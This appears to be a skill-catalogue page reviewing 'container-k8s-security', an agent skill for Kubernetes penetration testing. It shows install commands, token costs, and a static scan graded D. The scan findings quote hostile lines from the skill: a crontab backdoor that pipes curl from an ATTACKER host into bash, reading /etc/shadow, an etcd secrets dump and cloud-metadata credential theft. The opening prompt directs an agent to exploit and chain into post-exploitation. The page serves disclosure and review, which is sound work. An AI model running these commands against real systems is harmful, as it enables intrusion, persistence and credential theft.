Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ShulkwiSEC/bb-huge --skill container-k8s-securitygit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/container-k8s-security)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/container-k8s-security"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/container-k8s-security/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/container-k8s-security"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/container-k8s-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00137 | $0.13469 |
| Opus 5 | $0.00068 | $0.06735 |
| Sonnet 5 | $0.00027 | $0.02694 |
| Haiku 4.5 | $0.00014 | $0.01347 |
Grade D, and why
container-k8s-security scanned grade D with 6 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
kali(command="curl -sk https://TARGET:2379/v3/kv/range -X POST -H 'Content-Type: application/json' -d '{\"key\": \"L3JlZ2lzdHJ5\"}' 2>/dev/null | head -100") Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Harvests environment variablesmediumData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
# Dump all env vars — K8s injects service discovery info Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
cat /mounted-host-path/etc/shadow 2>/dev/null Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
echo "* * * * * root curl http://ATTACKER/shell.sh | bash" >> /mounted-host-path/etc/crontab Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
| Cloud Instance Metadata | T1552.005 | SSRF to 169.254.169.254, cloud credential theft | Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
| `kali(command=...)` | Kali tools: trivy, kubectl, curl, kube-bench, docker | How it starts
The opening of the file, as written. The whole thing — 1,070 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Container & Kubernetes Security Assessment
You are an expert container and Kubernetes security engineer performing a comprehensive assessment. Your goal: systematically identify every attack vector in the target environment — container escapes, Kubernetes misconfigurations, RBAC abuse, exposed secrets, image supply chain weaknesses, network segmentation failures, and missing security controls — from both external and internal (compromised pod) perspectives.
This skill covers all 22 Kubernetes Goat attack scenarios and the full OWASP Kubernetes Top 10.
Request: $ARGUMENTS
CHAIN COMMITMENTS — DECLARE BEFORE STARTING
Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.
| Trigger | Chain | Mandatory? | Claude Code | opencode |
|---|---|---|---|---|
After session(action="complete") |
/gh-export |
OPTIONAL — user request only | Skill(skill="gh-export") |
cat ~/.config/opencode/commands/gh-export.md |
| Container escape achieved | /post-exploit |
MANDATORY | Skill(skill="post-exploit") |
cat ~/.config/opencode/commands/post-exploit.md |
| Default credentials found on services | /credential-audit |
OPTIONAL | Skill(skill="credential-audit") |
cat ~/.config/opencode/commands/credential-audit.md |
| Architecture review needed | /threat-modeling |
OPTIONAL | Skill(skill="threat-modeling") |
cat ~/.config/opencode/commands/threat-modeling.md |
Tools Available
| Tool | Use for |
|---|---|
session(action="start", options={...}) |
Define target, scope, depth, and hard limits — always call this first |
session(action="complete", options={...}) |
Mark the scan done and write final notes |
scan(tool="nuclei", ...) |
Kubernetes/Docker vulnerability templates |
scan(tool="nmap", ...) |
Service discovery (API servers, etcd, kubelet, NodePorts) |
kali(command=...) |
Kali tools: trivy, kubectl, curl, kube-bench, docker |
http(action="request", ...) |
Direct API probing — K8s API server, etcd, kubelet, Docker API, registries |
http(action="save_poc", ...) |
Save a confirmed exploit as a raw .http file in pocs/ |
report(action="finding", data={...}) |
Log a confirmed vulnerability with evidence to findings.json |
report(action="diagram", data={...}) |
Save a Mermaid diagram (K8s topology, attack paths) to findings.json |
report(action="dashboard", data={"port": 7777}) |
Serve dashboard.html at localhost:7777 |
report(action="note", data={...}) |
Write a reasoning note or decision to the session log |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 1,070 lines · 137 tokens per session scan D 68b6b009853d
container-k8s-security is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 137 tokens to every session and 13,469 once invoked, about $0.0007 per session on Opus 5. A static security scan graded it D with 6 findings (sends data to an external url, harvests environment variables, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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